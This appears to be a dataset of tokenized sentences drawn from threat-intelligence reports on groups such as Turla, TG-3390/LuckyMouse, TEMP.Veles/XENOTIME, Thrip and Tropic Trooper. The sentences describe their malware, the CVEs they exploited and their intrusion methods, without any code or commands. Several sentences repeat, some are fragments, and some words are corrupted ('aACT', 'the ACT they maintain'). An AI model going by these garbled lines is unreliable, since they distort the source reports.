This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Proofpoint is tracking this attacker , believed to operate out of China , as TA459 .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
TA549 possesses a diverse malware arsenal including PlugX , NetTraveler , and ZeroT .
TA459 is well-known for targeting organizations in Russia and neighboring countries .
Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular LOCs of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats , phishing campaigns , and socially engineered threats every day .
Using data collected from the Trend Micro™ Smart Protection Network , we are able to identify victims whose networks communicated with Taidoor C&C servers .
The Taidoor attackers have been actively engaging in targeted attacks since at least March 4 , 2009 .
Taidoor spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues .
Despite some exceptions , the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments .
One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government .
Suckfly targeted one of India 's largest e-commerce companies , a major Indian shipping company , one of India 's largest financial organizations , and an IT firm that provides support for India 's largest stock exchange .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
Taidoor actively sent out malicious documents and maintained several IP addresses for command and control .
The attackers actively sent out malicious documents and maintained several IP addresses for command and control .
As part of their social engineering ploy , the Taidoor attackers attach a decoy document to their emails that , when opened , displays the contents of a legitimate document but executes a malicious payload in the background .
Sometimes , however , certain samples made use of domain names for HTTP communication .
Based on the command capabilities of the Taidoor malware , we were able to determine that data theft and data destruction was possible .
The ultimate objective of targeted attacks is to acquire sensitive data .
In December 2017 , FireEye publicly released our first analysis on the TRITON attack where malicious actors used the TRITON custom attack framework to manipulate industrial safety systems at a critical infrastructure facility and inadvertently caused a process shutdown .
In our most recent analysis , we attributed the intrusion activity that led to the deployment of TRITON to a Russian government-owned technical research institute in Moscow .
For more in-depth analysis of TRITON and other cyber threats , consider subscribing to FireEye Cyber Threat Intelligence .
During this time , the attacker must ensure continued access to the target environment or risk losing years of effort and potentially expensive custom ICS malware .
In this report we continue our research of the actor 's operations with a specific focus on a selection of custom information technology ( IT ) tools and tactics the threat actor leveraged during the early stages of the targeted attack lifecycle .
Additionally , the actor possibly gained a foothold on other target networks—beyond the two intrusions discussed in this post – using similar strategies .
There is often a singular focus from the security community on ICS malware largely due to its novel nature and the fact that there are very few examples found in the wild .
In this blog post we provide additional information linking TEMP.Veles and their activity surrounding the TRITON intrusion to a Russian government-owned research institute .
Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates .
TEMP.Veles' lateral movement activities used a publicly-available PowerShell-based tool , WMImplant .
On multiple dates in 2017 , TEMP.Veles struggled to execute this utility on multiple victim systems , potentially due to AV detection .
Custom payloads utilized by TEMP.Veles in investigations conducted by Mandiant are typically weaponized versions of legitimate open-source software , retrofitted with code used for command and control .
We identified file creation times for numerous files that TEMP.Veles created during lateral movement on a target 's network .
Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow , lending some further support to the scenario that CNIIHM , a Russian research organization in Moscow , has been involved in TEMP.Veles activity .
XENOTIME is easily the most dangerous threat activity publicly known .
CNIIHM 's characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity .
Dragos identified several compromises of ICS vendors and manufacturers in 2018 by activity associated with XENOTIME , providing potential supply chain threat opportunities and vendor-enabled access to asset owner and operator ICS networks .
XENOTIME rose to prominence in December 2017 when Dragos and FireEye jointly published details of TRISIS destructive malware targeting Schneider Electric 's Triconex safety instrumented system .
Targeting a safety system indicates significant damage and loss of human life were either intentional or acceptable goals of the attack , a consequence not seen in previous disruptive attacks such as the 2016 CRASHOVERRIDE malware that caused a power loss in Ukraine .
XENOTIME used credential capture and replay to move between networks , Windows commands , standard command-line tools such as PSExec , and proprietary tools for operations on victim hosts .
Dragos' data indicates XENOTIME remains active .
TEMP.Veles created a custom malware framework and tailormade credential gathering tools , but an apparent misconfiguration prevented the attack from executing properly .
Furthermore , Dragos' analysis of the TRISIS event continues as we recover additional data surrounding the incident .
XENOTIME operates globally , impacting regions far outside of the Middle East , their initial target .
Intelligence suggests the group has been active since at least 2014 and is presently operating in multiple facilities targeting safety systems beyond Triconex .
Dragos instead focuses on threat behaviors and appropriate detection and response .
Dragos assesses with moderate confidence that XENOTIME intends to establish required access and capability to cause a potential , future disruptive—or even destructive—event .
However , full details on XENOTIME and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
This seems confusing as FireEye earlier publicly declared the TRITON as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " .
This seems confusing as FireEye earlier publicly declared the " TRITON actor " as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " .
Meanwhile , parallel work at Dragos ( my employer , where I have performed significant work on the activity described above ) uncovered similar conclusions concerning TTPs and behaviors , for both the 2017 event and subsequent activity in other industrial sectors .
FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the " TRITON actor " when preparing to deploy the TRITON/TRISIS malware framework in 2017 .
Based on information gained from discussion with the initial TRITON/TRISIS responders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye 's analysis published in April 2019 , described in various media .
Since late 2018 , based upon the most-recent posting , FireEye appears to have " walked back " the previously-used terminology of TEMP.Veles and instead refers rather cryptically to the " TRITON actor " , while Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Aside from the competitive vendor naming landscape ( which I am not a fan of in cases on direct overlap , but which has more to say for itself when different methodologies are employed around similar observations ) , the distinction between FireEye and Dragos' approaches with respect to the " TRITON actor " comes down to fundamental philosophical differences in methodology .
In the 2018 public posting announcing TEMP.Veles , FireEye researchers noted that the institute in question at least supported TEMP.Veles activity in deploying TRITON .
My understanding is FireEye labels entities where definitive attribution is not yet possible with the " TEMP " moniker ( hence , TEMP.Veles ) – yet in this case FireEye developed and deployed the label , then appeared to move aACT from it in subsequent reporting .
In comparison , XENOTIME was defined based on principles of infrastructure ( compromised third-party infrastructure and various networks associated with several Russian research institutions ) , capabilities ( publicly- and commercially-available tools with varying levels of customization ) and targeting ( an issue not meant for discussion in this blog ) .
Of note , this methodology of naming abstracts aACT the " who " element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .
Much like the observers watching the shadows of objects cast upon the wall of the cave , these two definitions ( XENOTIME and TEMP.Veles , both presumably referring to " the TRITON actor " ) describe the same phenomena , yet at the same time appear different .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
CTU researchers assess with high confidence that threat groups like Threat Group-1314 will continue to live off of the land to avoid detection and conduct their operations .
Analysis of TG-3390 's operations , targeting , and tools led CTU researchers to assess with moderate confidence the group is located in the People's Republic of China .
The threat actors target a wide range of organizations : CTU researchers have observed TG-3390 actors obtaining confidential data on defense manufacturing projects , but also targeting other industry verticals and attacking organizations involved in international relations .
In comparison to other threat groups , TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger .
CTU researchers have evidence that the TG-3390 compromised U.S. and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on analysis of the group 's SWCs , TG-3390 operations likely affect organizations in other countries and verticals .
TG-3390 operates a broad and long-running campaign of SWCs and has compromised approximately 100 websites as of this publication .
CTU researchers have evidence that the threat group compromised U.S. and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Like many threat groups , TG-3390 conducts strategic web compromises ( SWCs ) , also known as watering hole attacks , on websites associated with the target organization 's vertical or demographic to increase the likelihood of finding victims with relevant information .
Through an IP address whitelisting process , the threat group selectively targets visitors to these websites .
After the initial compromise , TG-3390 delivers the HTTPBrowser backdoor to its victims .
CTU researchers assess with high confidence that TG-3390 uses information gathered from prior reconnaissance activities to selectively compromise users who visit websites under its control .
TG-3390 uses the PlugX remote access tool .
The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
The threat actors have used the Baidu search engine , which is only available in Chinese , to conduct reconnaissance activities .
Recently , CTU researchers responded to an intrusion perpetrated by Threat Group-1314 , one of numerous threat groups that employ the " living off the land " technique to conduct their intrusions .
CTU researchers have observed the Threat Group-3390 obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
CTU researchers have observed the threat group obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
TG-3390 can quickly leverage compromised network infrastructure during an operation and can conduct simultaneous intrusions into multiple environments .
Malware used by the threat group can be configured to bypass network-based detection ; however , the threat actors rarely modify host-based configuration settings when deploying payloads .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
In addition to using SWCs to target specific types of organizations , TG-3390 uses spearphishing emails to target specific victims .
After gaining access to a target network in one intrusion analyzed by CTU researchers , TG-3390 actors identified and exfiltrated data for specific projects run by the target organization , indicating that they successfully obtained the information they sought .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
Incident response engagements have given CTU researchers insight into the tactics TG-3390 employs during intrusions .
CTU researchers have not observed TG-3390 actors performing reconnaissance prior to compromising organizations .
CTU researchers have observed the threat actors installing a credential logger and backdoor on Microsoft Exchange servers , which requires a technical grasp of Internet Information Services ( IIS ) .
TG-3390 is capable of using a C2 infrastructure that spans multiple networks and registrars .
TG-3390 SWCs may be largely geographically independent , but the group 's most frequently used C2 registrars and IP net blocks are located in the U.S .
Using a U.S. based C2 infrastructure to compromise targets in the U.S. helps TG-3390 actors avoid geo-blocking and geo-flagging measures used in network defense .
The threat actors create PlugX DLL stub loaders that will run only after a specific date .
The compile dates of the samples analyzed by CTU researchers are all later than the hard-coded August 8 , 2013 date , indicating that the code might be reused from previous tools .
One archive sample analyzed by CTU researchers contained a legitimate PDF file , a benign image of interest to targets ( see Figure 8 ) , and an HTTPBrowser installer disguised as an image file .
CTU researchers have observed TG-3390 activity between 04:00 and 09:00 UTC , which is 12:00 to 17:00 local time in China ( UTC +8 ) .
TG-3390 sends spearphishing emails with ZIP archive attachments .
CTU researchers have observed TG-3390 compromising a target organization 's externally and internally accessible assets , such as an OWA server , and adding redirect code to point internal users to an external website that hosts an exploit and delivers malware .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In activity analyzed by CTU researchers , TG-3390 executed the Hunter web application scanning tool against a target server running IIS .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 uses DLL side loading , a technique that involves running a legitimate , typically digitally signed , program that loads a malicious DLL .
CTU researchers have observed the Threat Group-3390 employing legitimate Kaspersky antivirus variants in analyzed samples .
The adversaries have used this technique to allow PlugX and HTTPBrowser to persist on a system .
CTU researchers have observed the TG-3390 employing legitimate Kaspersky antivirus variants in analyzed samples .
TG-3390 actors have deployed the OwaAuth web shell to Exchange servers , disguising it as an ISAPI filter .
In other cases , threat actors placed web shells on externally accessible servers , sometimes behind a reverse proxy , to execute commands on the compromised system .
CTU researchers have discovered numerous details about TG-3390 operations , including how the adversaries explore a network , move laterally , and exfiltrate data .
When the adversaries' operations are live , they modify the record again to point the C2 domain to an IP address they can access .
They then identify the Exchange server and attempt to install the OwaAuth web shell .
If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail , TG-3390 identify other externally accessible servers and deploy ChinaChopper web shells .
After compromising an initial victim 's system ( patient 0 ) , the threat actors use the Baidu search engine to search for the victim 's organization name .
CTU researchers discovered the threat actors searching for " [company] login " , which directed them to the landing page for remote access .
TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations , preferring to issue commands via an internally accessible Web shell rather than HTTPBrowser or PlugX .
Within six hours of entering the environment , the threat actors compromised multiple systems and stole credentials for the entire domain .
Despite multiple public disclosures of their activities , BRONZE UNION remains an active and formidable threat as of this publication .
In 2015 , the SecureWorks® Counter Threat Unit™ ( CTU ) research team documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU™ analysis suggests is based in the People's Republic of China ( PRC ) .
After reestablishing access , the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used .
In 2015 , the SecureWorks documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU analysis suggests is based in the People's Republic of China ( PRC ) .
BRONZE UNION threat campaigns that illustrate the evolution of the group 's methods and espionage objectives .
Based on BRONZE UNION 's targeting activity , CTU researchers assess it is highly likely that the group focuses on political and defense organization networks .
this SWC was used to specifically target Turkish .
In 2016 , the threat actors conducted a strategic web compromise ( SWC ) on the website of an international industry organization that affected aerospace , academic , media , technology , government , and utilities organizations around the world .
In addition , BRONZE UNION activity on multiple U.S.-based defense manufacturer networks included the threat actors seeking information associated with aerospace technologies , combat processes , and naval defense systems .
this SWC was used to specifically target Turkish goverment .
Since that analysis , CTU researchers have observed multiple BRONZE UNION threat campaigns that illustrate the evolution of the group 's methods and espionage objectives .
this SWC was used to specifically target Turkish banking .
this SWC was used to specifically target Turkish academic networks .
BRONZE UNION has consistently demonstrated the capability to conduct successful large-scale intrusions against high-profile networks and systems .
The threat actors appear to be able to create and leverage multiple SWCs in parallel .
In a separate incident , CTU researchers identified a file named s.txt , which is consistent with the output of the Netview host-enumeration tool .
BRONZE UNION actors leveraged initial web shell access on Internet-facing systems to conduct internal reconnaissance .
BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control ( C2 ) and operational infrastructure .
This script relays commands and output between the controller and the system .
The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server ( systsm.webServer/httplogging ) and then delete existing logs from the system ( see Figure 4 ) .
In 2016 , CTU researchers observed the group using native system .
In March 2018 we detected an ongoing campaign .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
As of this publication , BRONZE UNION remains a formidable threat group that targets intellectual property and executes its operations at a swift pace .
we detected an ongoing campaign targeting a national data center .
The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool ( RAT ) .
we detected an ongoing campaign targeting a national data center in the Centeral Asia .
The tools found in this campaign , such as the HyperBro Trojan , are regularly used by a variety of Chinese-speaking actors .
Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor ( also known as EmissaryPanda and APT27 ) .
It's possible TG-3390 used a waterhole to infect data center employees .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
We suspect this router was hacked as part of the campaign in order to process the malware 's HTTP requests .
In March 2017 , Wikileaks published details about an exploit affecting Mikrotik called ChimayRed .
There were traces of HyperBro in the infected data center from mid-November 2017 .
In March 2017 , Wikileaks published details about an exploit affecting Mikrotik called ChimayRed .
This is a hacking group with Chinese origins which targets selected organisations related with education , energy and technology .
Usually , the delivered payload is either the well-known ' PlugX ' or ' HTTPBrowser ' RAT , a tool which is believed to have Chinese origins and to be used only by certain Chinese hacking groups .
Emissary Panda has used many ACTs with the most notable being the exploits from the Hacking Team leak .
Emissary Panda is still active and continues to target selected organisations .
Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks .
The campaign is believed to be active covertly since fall 2017 .
LuckyMouse , also known as Iron Tiger , EmissaryPanda , APT 27 and Threat Group-3390 , is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year .
March by security researchers from Kaspersky Labs .
For example , at the end of 2016 CTU researchers observed the threat actors using native system functionality to disable logging processes and delete logs within a network .
The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors .
attacks to a Chinese-speaking threat actor group called LuckyMouse .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain " access to a wide range of government resources at one fell swoop " .
The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .
According to the researchers , the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks .
the targeted system with a piece of malware called HyperBro , a Remote Access Trojan ( RAT ) .
The main command and control ( C&C ) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP , specifically to a MikroTik router running a firmware version released in March 2016 .
the targets of the hacking group were in the automotive .
Dell SecureWorks researchers unveiled a report on Threat Group-3390 that has targeted companies around the world while stealing massive amounts of industrial data .
The group , believed to be based in China , has also targeted defense contractors , colleges and universities , law firms , and political organizations — including organizations related to Chinese minority ethnic groups .
LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data .
Designated as Threat Group 3390 and nicknamed " Emissary Panda " by researchers , the hacking group has compromised victims' networks largely through " watering hole " attacks launched from over 100 compromised legitimate websites , sites picked because they were known to be frequented by those targeted in the attack .
the United Kingdom had data stolen by members of Emissary Panda .
the US had data stolen by members of Emissary Panda .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
The group used a number of tools common to other Chinese hacking groups , but they had a few unique tools of their own with interfaces developed for Standard ( Simplified ) Chinese .
If the address falls within ranges that the attackers are interested in , the malicious site waits for their next page view to drop an exploit on the desirable target 's PC .
Visitors to sites exploited by Emissary Panda are directed by code embedded in the sites to a malicious webpage , which screens their IP address .
There has also been at least one victim targeted by a spear-phishing attack .
A variety of malware , including the PlugX tool , was shared with other known Chinese threat groups .
Once inside networks , the group generally targeted Windows network domain controllers and Exchange e-mail servers , targeting user credentials to allow them to move to other systems throughout the targeted network .
They used an exploit of Internet Information Server to inject keylogger and backdoor malware onto the Exchange server .
But two tools used were unique to the group : ASPXTool , an Internet Information Services ( IIS ) specific " Web shell " used to gain access to servers inside a target 's network ; and the OwaAuth credential stealing tool and Web shell , used to attack Microsoft Exchange servers running the Web Outlook interface .
By using such features and tools , attackers are hoping to blend in on the victim 's network and hide their activity in a sea of legitimate processes .
TAA leverages advanced artificial intelligence and machine learning that combs through Symantec 's data lake of telemetry in order to spot patterns associated with targeted attacks .
January 2018 , TAA triggered an alert at a large telecoms operator in Southeast Asia .
Thrip was using PsExec to move laterally between computers on the company 's network .
TAA triggered an alert at a large telecoms operator in Southeast Asia .
AA triggered an alert at a large telecoms operator in Southeast Asia .
PsExec is a Microsoft Sysinternals tool for executing processes on other systems and is one of the most frequently seen legitimate pieces of software used by attackers attempting to live off the land .
TAA not only flagged this malicious use of PsExec , it also told us what the attackers were using it for .
Thrip was attempting to remotely install a previously unknown piece of malware ( Infostealer.Catchamas ) on computers within the victim 's network .
three computers in China being used to launch the Thrip attacks .
Perhaps the most worrying discovery we made was that Thrip had targeted a satellite communications operator .
Thrip seemed to be mainly interested in the operational side of the company .
This suggests to us that Thrip 's motives go beyond spying and may also include disruption .
Armed with this information about the malware and living off the land tactics being used by this group of attackers whom we named Thrip , we broadened our search to see if we could find similar patterns that indicated Thrip had been targeting other organizations .
The group had also targeted three different telecoms operators , all based in Southeast Asia .
In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
Many of the tools they use now feature new behaviors , including a change in the ACT they maintain a foothold in the targeted network .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The backdoor will load the encrypted configuration file and decrypt it , then use Secure Sockets Layer ( SSL ) protocol to connect to command-and-control ( C&C ) servers .
TClient is actually one of Tropic Trooper 's other backdoors .
The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) .
TClient , for instance , uses DLL hijacking and injection that may not be as noticeable to others .
The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016 , for instance .
Taiwan has been a regular target of Cyber Espionage threat actors for a number of years .
In early August , Unit 42 identified two attacks using similar techniques .
which has been active since at least 2011 .
One of the attacks used Tropic Trooper 's known Yahoyah malware , but the other attack deployed the widely available Poison Ivy RAT .
This confirms the actors are using Poison Ivy as part of their toolkit , something speculated in the original Trend Micro report but not confirmed by them .
The document attached to this e-mail exploits CVE-2012-0158 .
As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .
Further analysis uncovered a handful of ties indicating the actors may also be using the PCShare malware family , which has not been previously tied to the group .
This matches with known Tactics , Techniques , and Procedures ( TTPs ) for Tropic Trooper , targeting both government institutions and also the energy industry in Taiwan .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The Tropic Trooper threat actor group has been known to target governments and organizations in the Asia Pacific region for at least six years .
Turla is a notorious group that has been targeting governments .
Turla is known to run watering hole and spearphishing campaigns to better pinpoint their targets .
Turla is a notorious group that has been targeting government officials .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
Turla is a notorious group that has been targeting diplomats .
The codename for Turla APT group in this presentation is MAKERSMARK .
The Intercept reported that there exists a 2011 presentation by Canada 's Communication Security Establishment ( CSE ) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced .
The witnessed techniques , tactics and procedures ( TTPs ) are in-line with what we usuallysee in Turla 's operation : a first stage backdoor , such as Skipper , likely delivered through spearphishing followed by the appearance on the compromised system of a second stage backdoor , Gazerin this case .
Southeastern Europe as well as countries in the former Soviet Union Republichas recently been the main target .
Finally , there are many similarities between Gazer and other second stage backdoors used by the Turla group such as Carbon and Kazuar .
Skipper , which has been linked to Turla in the past , was found alongside Gazer in most cases we investigated .
Turla APT group makes an extra effort to avoid detection by wiping files securely , changing the strings and randomizing what could be simple markers through the different backdoor versions .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including government institutions .
Turla all uses an encrypted container to store the malware 's components and configuration and they also log their actions in a file .
Over the last 10 months , Kaspersky Lab researchers have analyzed a massive cyber-espionage operation which we call " Epic Turla " .
We also observed exploits against older ( patched ) vulnerabilities , social engineering techniques and watering hole strategies in these attacks .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including embassies .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including military .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including education .
When G-Data published on Turla/Uroburos back in February , several questions remained unanswered .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including research and pharmaceutical companies .
The primary backdoor used in the Epic attacks is also known as " WorldCupSec " , " TadjMakhal " , " Wipbot " or " Tavdig " .
Thrip 's motive is likely espionage and its targets include those in the communications , geospatial imaging , and defense sectors , both in the United States and Southeast Asia .
One big unknown was the infection vector for Turla ( aka Snake or Uroburos ) .
The mothership server is generally a VPS , which runs the Control panel software used to interact with the victims .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
Once a victim is confirmed as " interesting " , the attackers upload another Epic backdoor which has a unique ID used to control this specific victim .
Our analysis indicates this is a sophisticated multi-stage infection ; which begins with Epic Turla .
this attack against a Kaspersky Lab user on August 5 , 2014 .
VENOMOUS BEAR is an advanced , Russia-based adversary that's been active since at least 2004 .
Venomous Bear has deployed malware to targets using several novel methods .
For years , Turla has relied , among other impersonations , on fake Flash installers to compromise victims .
Turla merely uses the Adobe brand to trick users into downloading the malware .
By looking at our telemetry , we found evidence that Turla installers were exfiltrating information to get.adobe.com URLs since at least July 2016 .
Thus , it is clear they are trying to be as stealthy as possible by hiding in the network traffic of the targeted organizations .
Finally , some of the victims are also infected with other Turla-related malware such as ComRAT or Gazer .
Kaspersky Lab documented this behavior in 2014 .
It is not a new tactic for Turla to rely on fake Flash installers to try to trick the user to install one of their backdoors .
Turla operators could use an already-compromised machine in the network of the victim 's organization to perform a local MitM attack .
Our January 2018 white paper was the first public analysis of a Turla campaign called Mosquito .
It is not the first time Turla has used generic tools .
In the past , we have seen the group using open-source password dumpers such as Mimikatz .
Starting in March 2018 , we observed a significant change in the campaign : it now leverages the open source exploitation framework Metasploit before dropping the custom Mosquito backdoor .
Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .
However , to our knowledge , this is the first time Turla has used Metasploit as a first stage backdoor , instead of relying on one of its own tools such as Skipper .
Traffic was intercepted on a node between the end machine and the Adobe servers , allowing Turla 's operators to replace the legitimate Flash executable with a trojanized version .
At the beginning of March 2018 , as part of our regular tracking of Turla 's activities , we observed some changes in the Mosquito campaign .
In this post , we have presented the evolutions of the Turla Mosquito campaign over the last few months .
Primary targets for this adversary are in the government , aerospace , NGO , defense , cryptology and education sectors .
Turla 's campaign still relies on a fake Flash installer but , instead of directly dropping the two malicious DLLs , it executes a Metasploit shellcode and drops , or downloads from Google Drive , a legitimate Flash installer .
The Turla espionage group has been targeting various institutions for many years .
Recently , we found several new versions of Carbon , a second stage backdoor in the Turla group arsenal .
The Turla group is known to be painstaking and work in stages , first doing reconnaissance on their victims' systems before deploying their most sophisticated tools such as Carbon .
Kaspersky APT Intelligence Reporting subscription , customers received an update in mid-February 2017 .
Like previous Turla activity , WhiteBear leverages compromised websites and hijacked satellite connections for command and control ( C2 ) infrastructure .
WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report " Skipper Turla – the White Atlas framework " from mid-2016 .
However , despite the similarities to previous Turla campaigns , we believe that WhiteBear is a distinct project with a separate focus .
From February to September 2016 , WhiteBear activity was narrowly focused on embassies and consular operations around the world .
Continued WhiteBear activity later shifted to include defense-related organizations into June 2017 .
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations .
Thus , Turla operators had access to some highly sensitive information ( such as emails sent by the German Foreign Office staff ) for almost a year .
Our investigation also led to the discovery of dozens of email addresses registered by Turla operators for this campaign and used to receive exfiltrated data from the victims .
It mainly targets Microsoft Outlook , a widely used mail client , but also targets The Bat! , a mail client very popular in Eastern Europe .
First , Turla steals emails by forwarding all outgoing emails to the attackers .
We identified several European governments and defense companies compromised with this group .
What actually happens is that the malware is able to decode data from the PDF documents and interpret it as commands for the backdoor .
In early 2018 , multiple media claimed that Turla operators used mail attachments to control infected machines .
As detailed in the previous section , this malware is able to manipulate and exfiltrate emails .
To our knowledge , Turla is the only espionage group that currently uses a backdoor entirely controlled by emails , and more specifically via PDF attachments .
The attackers first infected in March 2017 .
Our research shows that compromised organizations are at risk of not only being spied on by the Turla group who planted the backdoor , but also by other attackers .
The developers refer to this tool by the name Kazuar , which is a Trojan written using the Microsoft.NET Framework that offers actors complete access to compromised systems targeted by its operator .
We suspect the Kazuar tool may be linked to the Turla threat actor group ( also known as Uroburos and Snake ) , who have been reported to have compromised embassies , defense contractors , educational institutions , and research organizations across the globe .
This is also a full-featured backdoor controlled by email , and which can work independently of any other Turla component .
A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005 .
If the hypothesis is correct and the Turla threat group is using Kazuar , we believe they may be using it as a replacement for Carbon and its derivatives .
We used a combination of tools such as NoFuserEx , ConfuserEx Fixer , ConfuserEx Switch Killer , and de4d0t in order to deobfuscate the code for in depth analysis .
Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string " [username]=>singleton-instance-mutex " .
The subject is a series of targeted attacks against private companies .
e uncovered the activity of a hacking group which has Chinese origins .
Also , by creating this type of API access , Turla could use one accessible server as a single point to dump data to and exfiltrate data from .
According to our estimations , this group has been active for several years and specializes in cyberattacks against the online video game industry .
Based on our analysis , we believe that threat actors may compile Windows and Unix based payloads using the same code to deploy Kazuar against both platforms .
The group 's main objective is to steal source codes .
In 2010 HBGary investigated an information security incident related to the Winnti group at one of HBGary 's customers – an American video game company .
In 2010 US-based HBGary investigated an information security incident related to the Winnti group at one of HBGary 's customers – an American video game company .
For a long time the Winnti group had been considered as a Chinese threat actor targeting gaming companies specifically .
In April Novetta released its excellent report on the Winnti malware spotted in the operations of Axiom group .
The Axiom group has been presented as an advanced Chinese threat actor carrying out cyber-espionage attacks against a whole range of different industries .
this library includes two drivers compiled on August 22 and September 4 , 2014 .
Also our visibility as a vendor does not cover every company in the world ( at least so far ; ) ) and the Kaspersky Security Network ( KSN ) did not reveal other attacks except those against gaming companies .
Conversely , LokiBot and Agent Tesla are new malware tools .
Based on multiple active compromises by the Axiom threat group , Novetta was able to capture and analyze new Winnti malware samples .
